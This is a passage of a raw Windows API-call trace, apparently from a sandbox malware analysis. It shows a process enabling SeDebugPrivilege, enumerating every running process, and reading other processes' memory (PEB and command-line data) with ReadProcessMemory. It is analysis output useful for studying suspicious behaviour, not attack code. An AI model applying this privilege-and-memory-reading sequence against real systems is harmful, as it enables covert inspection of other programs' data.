0xfffffffffffffffe [0177.990] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x28, OpenAsSelf=1, TokenHandle=0x2dc237d2a0 | out: TokenHandle=0x2dc237d2a0*=0x330) returned 1 [0177.990] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0x2dc237d2dc | out: lpLuid=0x2dc237d2dc*(LowPart=0x14, HighPart=0)) returned 1 [0177.992] RtlRestoreLastWin32Error () returned 0x2dc20c1000 [0177.992] AdjustTokenPrivileges (in: TokenHandle=0x330, DisableAllPrivileges=0, NewState=0x2dc237d2d8*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0177.993] GetLastError () returned 0x0 [0177.993] CloseHandle (hObject=0x330) returned 1 [0177.993] malloc (_Size=0x8000) returned 0x20abc286d60 [0177.993] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x20abc286d60, Length=0x8000, ResultLength=0x0 | out: SystemInformation=0x20abc286d60, ResultLength=0x0) returned 0xc0000004 [0177.995] free (_Block=0x20abc286d60) [0177.998] malloc (_Size=0x10000) returned 0x20abc286d60 [0177.998] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x20abc286d60, Length=0x10000, ResultLength=0x0 | out: SystemInformation=0x20abc286d60, ResultLength=0x0) returned 0xc0000004 [0178.001] free (_Block=0x20abc286d60) [0178.002] malloc (_Size=0x18000) returned 0x20abc286d60 [0178.002] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x20abc286d60, Length=0x18000, ResultLength=0x0 | out: SystemInformation=0x20abc286d60, ResultLength=0x0) returned 0xc0000004 [0178.006] free (_Block=0x20abc286d60) [0178.006] malloc (_Size=0x20000) returned 0x20abc286d60 [0178.006] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x20abc286d60, Length=0x20000, ResultLength=0x0 | out: SystemInformation=0x20abc286d60, ResultLength=0x0) returned 0x0 [0178.008] _ui64tow_s (in: _Value=0x0, _Buffer=0x2dc237d390, _BufferCount=0x104, _Radix=10 | out: _Buffer="0") returned 0x0 [0178.011] _vsnwprintf (in: _Buffer=0x2dc237d0b0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc237c438 | out: _Buffer="0") returned 1 [0178.012] GetVersionExW (in: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x201d2958, dwBuildNumber=0x7ffb, dwPlatformId=0x6, szCSDVersion="\n") | out: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0178.012] _vsnwprintf (in: _Buffer=0x2dc237cea0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc237c438 | out: _Buffer="10.0.10586") returned 10 [0178.093] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x0) returned 0x0 [0178.093] CloseHandle (hObject=0x0) returned 0 [0178.094] _ui64tow_s (in: _Value=0x4, _Buffer=0x2dc237d390, _BufferCount=0x104, _Radix=10 | out: _Buffer="4") returned 0x0 [0178.097] _vsnwprintf (in: _Buffer=0x2dc237d0b0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc237c438 | out: _Buffer="4") returned 1 [0178.098] GetVersionExW (in: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0178.098] _vsnwprintf (in: _Buffer=0x2dc237cea0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc237c438 | out: _Buffer="10.0.10586") returned 10 [0178.111] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0178.111] CloseHandle (hObject=0x0) returned 0 [0178.112] _ui64tow_s (in: _Value=0x138, _Buffer=0x2dc237d390, _BufferCount=0x104, _Radix=10 | out: _Buffer="312") returned 0x0 [0178.115] _vsnwprintf (in: _Buffer=0x2dc237d0b0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc237c438 | out: _Buffer="312") returned 3 [0178.117] GetVersionExW (in: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0178.117] _vsnwprintf (in: _Buffer=0x2dc237cea0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc237c438 | out: _Buffer="10.0.10586") returned 10 [0178.129] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x138) returned 0x0 [0178.129] CloseHandle (hObject=0x0) returned 0 [0178.130] _ui64tow_s (in: _Value=0x180, _Buffer=0x2dc237d390, _BufferCount=0x104, _Radix=10 | out: _Buffer="384") returned 0x0 [0178.137] _vsnwprintf (in: _Buffer=0x2dc237d0b0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc237c438 | out: _Buffer="384") returned 3 [0178.138] GetVersionExW (in: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0178.138] _vsnwprintf (in: _Buffer=0x2dc237cea0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc237c438 | out: _Buffer="10.0.10586") returned 10 [0178.152] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x180) returned 0x0 [0178.152] CloseHandle (hObject=0x0) returned 0 [0178.152] _ui64tow_s (in: _Value=0x1bc, _Buffer=0x2dc237d390, _BufferCount=0x104, _Radix=10 | out: _Buffer="444") returned 0x0 [0178.156] _vsnwprintf (in: _Buffer=0x2dc237d0b0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc237c438 | out: _Buffer="444") returned 3 [0178.157] GetVersionExW (in: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0178.157] _vsnwprintf (in: _Buffer=0x2dc237cea0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc237c438 | out: _Buffer="10.0.10586") returned 10 [0178.171] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1bc) returned 0x0 [0178.171] CloseHandle (hObject=0x0) returned 0 [0178.171] _ui64tow_s (in: _Value=0x1c8, _Buffer=0x2dc237d390, _BufferCount=0x104, _Radix=10 | out: _Buffer="456") returned 0x0 [0178.175] _vsnwprintf (in: _Buffer=0x2dc237d0b0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc237c438 | out: _Buffer="456") returned 3 [0178.176] GetVersionExW (in: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0178.176] _vsnwprintf (in: _Buffer=0x2dc237cea0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc237c438 | out: _Buffer="10.0.10586") returned 10 [0178.200] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1c8) returned 0x0 [0178.200] CloseHandle (hObject=0x0) returned 0 [0178.200] _ui64tow_s (in: _Value=0x1fc, _Buffer=0x2dc237d390, _BufferCount=0x104, _Radix=10 | out: _Buffer="508") returned 0x0 [0178.204] _vsnwprintf (in: _Buffer=0x2dc237d0b0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc237c438 | out: _Buffer="508") returned 3 [0178.205] GetVersionExW (in: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0178.205] _vsnwprintf (in: _Buffer=0x2dc237cea0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc237c438 | out: _Buffer="10.0.10586") returned 10 [0178.219] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1fc) returned 0x330 [0178.220] GetLastError () returned 0x0 [0178.220] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237c490, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c490, ReturnLength=0x0) returned 0x0 [0178.220] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x73520ea018, lpBuffer=0x2dc237c460, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c460*, lpNumberOfBytesRead=0x0) returned 1 [0178.220] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc237c450, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c450*, lpNumberOfBytesRead=0x0) returned 1 [0178.221] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x1c5bea716a0, lpBuffer=0x2dc237c870, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c870*, lpNumberOfBytesRead=0x0) returned 1 [0178.221] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x1c5bea713b0, lpBuffer=0x2dc237c1c0, nSize=0x42, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c1c0*, lpNumberOfBytesRead=0x0) returned 1 [0178.222] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x1, ProcessInformation=0x2dc237c4c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c4c0, ReturnLength=0x0) returned 0x0 [0178.223] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237bf98, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237bf98, ReturnLength=0x0) returned 0x0 [0178.223] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x73520ea020, lpBuffer=0x2dc237bf80, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bf80*, lpNumberOfBytesRead=0x0) returned 1 [0178.224] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x1c5bea70d90, lpBuffer=0x2dc237bfd0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bfd0*, lpNumberOfBytesRead=0x0) returned 1 [0178.224] malloc (_Size=0x1c) returned 0x20abc2a9eb0 [0178.224] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x1c5bea713f2, lpBuffer=0x20abc2a9eb0, nSize=0x1a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2a9eb0*, lpNumberOfBytesRead=0x0) returned 1 [0178.224] free (_Block=0x20abc2a9eb0) [0178.225] CloseHandle (hObject=0x330) returned 1 [0178.234] _ui64tow_s (in: _Value=0x214, _Buffer=0x2dc237d390, _BufferCount=0x104, _Radix=10 | out: _Buffer="532") returned 0x0 [0178.238] _vsnwprintf (in: _Buffer=0x2dc237d0b0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc237c438 | out: _Buffer="532") returned 3 [0178.240] GetVersionExW (in: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0178.240] _vsnwprintf (in: _Buffer=0x2dc237cea0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc237c438 | out: _Buffer="10.0.10586") returned 10 [0178.256] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x214) returned 0x0 [0178.256] CloseHandle (hObject=0x0) returned 0 [0178.257] _ui64tow_s (in: _Value=0x21c, _Buffer=0x2dc237d390, _BufferCount=0x104, _Radix=10 | out: _Buffer="540") returned 0x0 [0178.261] _vsnwprintf (in: _Buffer=0x2dc237d0b0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc237c438 | out: _Buffer="540") returned 3 [0178.262] GetVersionExW (in: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0178.262] _vsnwprintf (in: _Buffer=0x2dc237cea0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc237c438 | out: _Buffer="10.0.10586") returned 10 [0178.303] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x21c) returned 0x330 [0178.303] GetLastError () returned 0x0 [0178.303] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237c490, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c490, ReturnLength=0x0) returned 0x0 [0178.303] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x72f69a3018, lpBuffer=0x2dc237c460, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c460*, lpNumberOfBytesRead=0x0) returned 1 [0178.303] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc237c450, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c450*, lpNumberOfBytesRead=0x0) returned 1 [0178.304] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x1d0c58032b0, lpBuffer=0x2dc237c870, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c870*, lpNumberOfBytesRead=0x0) returned 1 [0178.304] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x1d0c5802f08, lpBuffer=0x2dc237c1c0, nSize=0x3c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c1c0*, lpNumberOfBytesRead=0x0) returned 1 [0178.305] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x1, ProcessInformation=0x2dc237c4c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c4c0, ReturnLength=0x0) returned 0x0 [0178.306] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237bf98, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237bf98, ReturnLength=0x0) returned 0x0 [0178.306] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x72f69a3020, lpBuffer=0x2dc237bf80, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bf80*, lpNumberOfBytesRead=0x0) returned 1 [0178.307] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x1d0c58028f0, lpBuffer=0x2dc237bfd0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bfd0*, lpNumberOfBytesRead=0x0) returned 1 [0178.307] malloc (_Size=0x3e) returned 0x20abc27ce40 [0178.307] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x1d0c5802f44, lpBuffer=0x20abc27ce40, nSize=0x3c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc27ce40*, lpNumberOfBytesRead=0x0) returned 1 [0178.308] free (_Block=0x20abc27ce40) [0178.308] CloseHandle (hObject=0x330) returned 1 [0178.309] _ui64tow_s (in: _Value=0x274, _Buffer=0x2dc237d390, _BufferCount=0x104, _Radix=10 | out: _Buffer="628") returned 0x0 [0178.314] _vsnwprintf (in: _Buffer=0x2dc237d0b0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc237c438 | out: _Buffer="628") returned 3 [0178.315] GetVersionExW (in: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0178.315] _vsnwprintf (in: _Buffer=0x2dc237cea0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc237c438 | out: _Buffer="10.0.10586") returned 10 [0178.331] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x274) returned 0x330 [0178.331] GetLastError () returned 0x0 [0178.332] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237c490, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c490, ReturnLength=0x0) returned 0x0 [0178.332] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x252b60c018, lpBuffer=0x2dc237c460, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c460*, lpNumberOfBytesRead=0x0) returned 1 [0178.332] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc237c450, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c450*, lpNumberOfBytesRead=0x0) returned 1 [0178.332] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x15e739033e0, lpBuffer=0x2dc237c870, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c870*, lpNumberOfBytesRead=0x0) returned 1 [0178.332] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x15e73903048, lpBuffer=0x2dc237c1c0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c1c0*, lpNumberOfBytesRead=0x0) returned 1 [0178.333] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x1, ProcessInformation=0x2dc237c4c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c4c0, ReturnLength=0x0) returned 0x0 [0178.335] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237bf98, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237bf98, ReturnLength=0x0) returned 0x0 [0178.349] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x252b60c020, lpBuffer=0x2dc237bf80, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bf80*, lpNumberOfBytesRead=0x0) returned 1 [0178.350] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x15e73902a30, lpBuffer=0x2dc237bfd0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bfd0*, lpNumberOfBytesRead=0x0) returned 1 [0178.350] malloc (_Size=0x5e) returned 0x20abc2807d0 [0178.350] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x15e73903088, lpBuffer=0x20abc2807d0, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2807d0*, lpNumberOfBytesRead=0x0) returned 1 [0178.351] free (_Block=0x20abc2807d0) [0178.352] CloseHandle (hObject=0x330) returned 1 [0178.353] _ui64tow_s (in: _Value=0x294, _Buffer=0x2dc237d390, _BufferCount=0x104, _Radix=10 | out: _Buffer="660") returned 0x0 [0178.358] _vsnwprintf (in: _Buffer=0x2dc237d0b0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc237c438 | out: _Buffer="660") returned 3 [0178.359] GetVersionExW (in: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0178.359] _vsnwprintf (in: _Buffer=0x2dc237cea0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc237c438 | out: _Buffer="10.0.10586") returned 10 [0178.375] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x294) returned 0x330 [0178.376] GetLastError () returned 0x0 [0178.376] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237c490, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c490, ReturnLength=0x0) returned 0x0 [0178.376] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0xab53d9d018, lpBuffer=0x2dc237c460, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c460*, lpNumberOfBytesRead=0x0) returned 1 [0178.376] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc237c450, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c450*, lpNumberOfBytesRead=0x0) returned 1 [0178.376] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x2aaa9303450, lpBuffer=0x2dc237c870, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c870*, lpNumberOfBytesRead=0x0) returned 1 [0178.377] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x2aaa93030c8, lpBuffer=0x2dc237c1c0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c1c0*, lpNumberOfBytesRead=0x0) returned 1 [0178.378] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x1, ProcessInformation=0x2dc237c4c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c4c0, ReturnLength=0x0) returned 0x0 [0178.379] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237bf98, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237bf98, ReturnLength=0x0) returned 0x0 [0178.379] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0xab53d9d020, lpBuffer=0x2dc237bf80, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bf80*, lpNumberOfBytesRead=0x0) returned 1 [0178.380] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x2aaa9302ab0, lpBuffer=0x2dc237bfd0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bfd0*, lpNumberOfBytesRead=0x0) returned 1 [0178.380] malloc (_Size=0x54) returned 0x20abc2aa570 [0178.380] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x2aaa9303108, lpBuffer=0x20abc2aa570, nSize=0x52, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2aa570*, lpNumberOfBytesRead=0x0) returned 1 [0178.381] free (_Block=0x20abc2aa570) [0178.423] CloseHandle (hObject=0x330) returned 1 [0178.424] _ui64tow_s (in: _Value=0x304, _Buffer=0x2dc237d390, _BufferCount=0x104, _Radix=10 | out: _Buffer="772") returned 0x0 [0178.448] _vsnwprintf (in: _Buffer=0x2dc237d0b0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc237c438 | out: _Buffer="772") returned 3 [0178.449] GetVersionExW (in: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0178.449] _vsnwprintf (in: _Buffer=0x2dc237cea0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc237c438 | out: _Buffer="10.0.10586") returned 10 [0178.462] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x304) returned 0x330 [0178.462] GetLastError () returned 0x0 [0178.463] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237c490, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c490, ReturnLength=0x0) returned 0x0 [0178.463] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x14042d3018, lpBuffer=0x2dc237c460, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c460*, lpNumberOfBytesRead=0x0) returned 1 [0178.463] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc237c450, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c450*, lpNumberOfBytesRead=0x0) returned 1 [0178.463] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x1b67c9c19f0, lpBuffer=0x2dc237c870, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c870*, lpNumberOfBytesRead=0x0) returned 1 [0178.463] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x1b67c9c16e8, lpBuffer=0x2dc237c1c0, nSize=0x38, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c1c0*, lpNumberOfBytesRead=0x0) returned 1 [0178.464] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x1, ProcessInformation=0x2dc237c4c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c4c0, ReturnLength=0x0) returned 0x0 [0178.465] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237bf98, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237bf98, ReturnLength=0x0) returned 0x0 [0178.465] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x14042d3020, lpBuffer=0x2dc237bf80, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bf80*, lpNumberOfBytesRead=0x0) returned 1 [0178.465] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x1b67c9c10d0, lpBuffer=0x2dc237bfd0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bfd0*, lpNumberOfBytesRead=0x0) returned 1 [0178.466] malloc (_Size=0x16) returned 0x20abc281be0 [0178.466] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x1b67c9c1720, lpBuffer=0x20abc281be0, nSize=0x14, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc281be0*, lpNumberOfBytesRead=0x0) returned 1 [0178.466] free (_Block=0x20abc281be0) [0178.466] CloseHandle (hObject=0x330) returned 1 [0178.467] _ui64tow_s (in: _Value=0x364, _Buffer=0x2dc237d390, _BufferCount=0x104, _Radix=10 | out: _Buffer="868") returned 0x0 [0178.470] _vsnwprintf (in: _Buffer=0x2dc237d0b0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc237c438 | out: _Buffer="868") returned 3 [0178.471] GetVersionExW (in: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, 